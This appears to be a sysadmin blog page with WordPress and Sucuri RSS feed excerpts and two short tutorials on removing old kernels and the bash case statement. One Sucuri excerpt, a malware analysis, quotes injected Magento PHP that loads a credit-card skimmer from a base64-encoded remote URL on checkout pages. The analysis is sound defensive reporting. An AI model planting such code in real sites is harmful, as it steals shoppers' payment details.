Blog

RSS WordPress Blog
  • People of WordPress: Thelma Mutete January 21, 2021
    From writing her first line of code when she was 16, Thelma Mutete knew she wanted to work in IT. She shares her journey in web development and her discovery of WordPress.
    webcommsat AbhaNonStopNewsUK
  • The Month in WordPress: December 2020 January 5, 2021
    We bid goodbye to 2020 in style with the release of WordPress 5.6 and the launch of Learn WordPress. But these weren’t the only exciting updates from WordPress in December. Read on to learn more! WordPress 5.6 is here The latest major WordPress release, version 5.6 “Simone”, came out on December 8. The release ships […]
    Hari Shanker R
  • Introducing Learn WordPress December 15, 2020
    Learn WordPress is a learning resource providing workshops, quizzes, courses, and lesson plans to help you to do more with WordPress.
    Hugh Lashbrooke
  • WordPress 5.6 “Simone” December 8, 2020
    Meet Simone, our latest and greatest WordPress release. Named for the legendary performer Nina Simone. Fire up a playlist with her best work and read on to discover what WordPress 5.6 has in store for you.
    Josepha
  • State of the Word 2020 December 4, 2020
    State of the Word will be streamed on Facebook, YouTube, and Twitter on Thursday, Dec 17th, 2020 at 1600 UTC.
    Josepha
  • The Month in WordPress: November 2020 December 2, 2020
    November 2020 saw several updates to the WordPress 5.6 release. Read on to follow all the latest news from the WordPress world! WordPress 5.6 updates The Core team released WordPress 5.6 Beta 3 on Nov. 2, Beta 4 on Nov. 12, release candidate 1 on Nov. 17, and release candidate 2 on Dec. 1. You […]
    Hari Shanker R
  • WordPress 5.6 Release Candidate 2 December 1, 2020
    The second release candidate for WordPress 5.6 is here! WordPress 5.6 is slated for release on December 8, 2020, and we need your help to get there—if you haven’t tried 5.6 yet, now is the time! You can test WordPress 5.6 release candidate 2 in two ways: Try the WordPress Beta Tester plugin (choose the “bleeding edge nightlies” option). Or download the release […]
    Josepha
  • WordPress 5.6 Release Candidate November 17, 2020
    WordPress 5.6 Release Candidate is now available!
    Josepha
  • WordPress 5.6 Beta 4 November 12, 2020
    WordPress 5.6 Beta 4 is now available for testing! This software is still in development, so we recommend that you run this version on a test site. You can test the WordPress 5.6 beta in two ways: Try the WordPress Beta Tester plugin (choose the “bleeding edge nightlies” option). Or download the beta here (zip). The current target for the […]
    Josepha
  • WordPress 5.6 Beta 3 November 2, 2020
    WordPress 5.6 Beta 3 is now available for testing! This software is still in development, so we recommend that you run this version on a test site. You can test the WordPress 5.6 beta in two ways: Try the WordPress Beta Tester plugin (choose the “bleeding edge nightlies” option). Or download the beta here (zip). The current target for the […]
    Chloe Bringmann
RSS Sucuri Blog
  • Magento PHP Injection Loads JavaScript Skimmer January 21, 2021
    A Magento website owner was concerned about malware and reached out to our team for assistance. Upon investigation, we found the website contained a PHP injection in one of the Magento files: ./app/code/core/Mage/Payment/Model/Method/Cc.php ... if ($_SERVER["REQUEST_METHOD"] === "GET"){ if (strpos($_SERVER["REQUEST_URI"], "/onestepcheckout/index/") !== false){ if(!isset($_COOKIE["adminhtml"])){ echo file_get_contents(base64_decode("aHR0cHM6Ly91bmRlcnNjb3JlZndbLl1jb20vc3JjL2tyZWEuanM=")); } } } To make it more difficult to […]
    Luke Leal
  • Critical Vulnerabilities in 123contactform-for-wordpress WordPress Plugin January 19, 2021
    In mass infection scenarios, our Malware Research team often looks for attack vectors to find patterns and other similarities among compromised websites. The identification of these patterns allows us to deploy better and faster solutions to our customers, minimizing impacts from massive attacks. Recently during a routine investigation, we found a number of vulnerabilities in […]
    Rodrigo Escobar
  • Real-Time Phishing Kit Targets Brazilian Central Bank January 14, 2021
    We recently found an interesting phishing kit on a compromised website that has QR code capabilities, along with the ability to control the phishing page in real time. What our investigation revealed was that attackers were leveraging PIX, a new payment method created by the Brazilian Central Bank. Features & Context for PIX PIX was […]
    Luke Leal
  • Obfuscation Techniques in Ransomweb “Ransomware” January 12, 2021
    As vital assets for many business operations, websites and their hosting servers are often the target of ransomware attacks — and if they get taken offline, this can cause major issues for a business’ data, revenue, and ultimately reputation. The worst part about ransomware is that it encrypts data and removes the original encrypted copies. […]
    Luke Leal
  • Evaluating Cookies to Hide Backdoors January 7, 2021
    Identifying website backdoors is not always an easy task. Since a backdoors primary function is to conceal itself while providing unauthorized access, they are often developed using a variety of techniques that can make it challenging to detect. For example, an attacker can inject a single line of code containing less than 130 characters into […]
    Luke Leal
  • Bogus CSS Injection Leads to Stolen Credit Card Details January 5, 2021
    A client recently reported their customers were receiving antivirus warnings when trying to access and purchase products from a Magento ecommerce website. This is almost always a telltale sign that something is amiss, and so I began my investigation. Malware in Database Tables As is pretty common with Magento credit card swiper investigations, my initial […]
    Ben Martin
  • SEO Spam Links in Nulled Plugins December 29, 2020
    It’s not unusual to see website owners running things on a budget. Choosing a safe and reliable hosting company, buying a nice domain name, boosting posts on social media, and ranking on search engines — all this costs a lot of money. At the end of the day, some site owners may even choose to […]
    Mohit Jawanjal
  • The Dangers of Using Abandoned Plugins & Themes December 17, 2020
    It’s not very often that we see abandoned components being used on a website — but when we do, it’s most often because the website was exhibiting malware-like behavior and we were called to investigate and clean up the site. Old and abandoned plugins and themes are a good target for opportunistic attackers who are […]
    Krasimir Konov
  • Why You Should Monitor Your Website December 15, 2020
    In an effort to maintain unauthorized access or profit off a website’s environment long after an initial compromise, attackers commonly leverage a variety of different techniques and tactics. These techniques range from adding backdoors, stealing sensitive data, redirecting the site to other third-party resources, or even injecting specially crafted links to give their own sites […]
    Cesar Anjos
  • Malware Dropper Takes Advantage of COVID-19 Pandemic December 10, 2020
    Since April, our team has been tracking the spread of a PHP malware dropper. It’s impacting unsuspecting victims who thought they were downloading a mapping software to monitor the spread of the COVID-19 pandemic. While the attack is likely spread through a variety of vectors, we have verified that bad actors are using other compromised […]
    Krasimir Konov

Boot Partition Space

Posted by on 7:04 am in Server Administration | 0 comments

If your /boot partition is mounted separately , it is always a small compare to other partitions on the server. If the older kernels are not removed, then it gets full quickly.  In order to remove the older kernels safely we can use the package manager. For REHL/CentOS systems you can use below command. sudo yum install yum-utils && sudo package-cleanup --oldkernels --count=2 For the Debian and Ubuntu systems you can use below commands. First, check your kernel version, so you won’t delete the in-use kernel image, running: uname -r Now run this command for a list of installed kernels: dpkg --list 'linux-image*' | grep ^ii and delete the kernels you don’t want/need anymore by running this: sudo apt-get remove linux-image-VERSION Replace VERSION with the version of the kernel you want to remove. When you’re done removing the older kernels, you can run this to remove ever packages you won’t need anymore: sudo apt-get autoremove And finally you can run this to update grub kernel list: sudo...

read more

Bash Cases Statement

Posted by on 9:14 am in Bash Script | 7 comments

The case construct in bash shell allows us to test strings against patterns that can contain wild card characters. Bash case statement is the simplest form of the bash if else then condition statement. The simple example for this is if you are expecting different inputs from a user and want to execute specific command sets on the choice used.     case $variable in pattern1 ) statements ;; pattern2 ) statements ;; * ) statements ;; … esac   We can see the common use of the case statement in the init scripts of the services which has the options like start, stop, restart and status.  ...

read more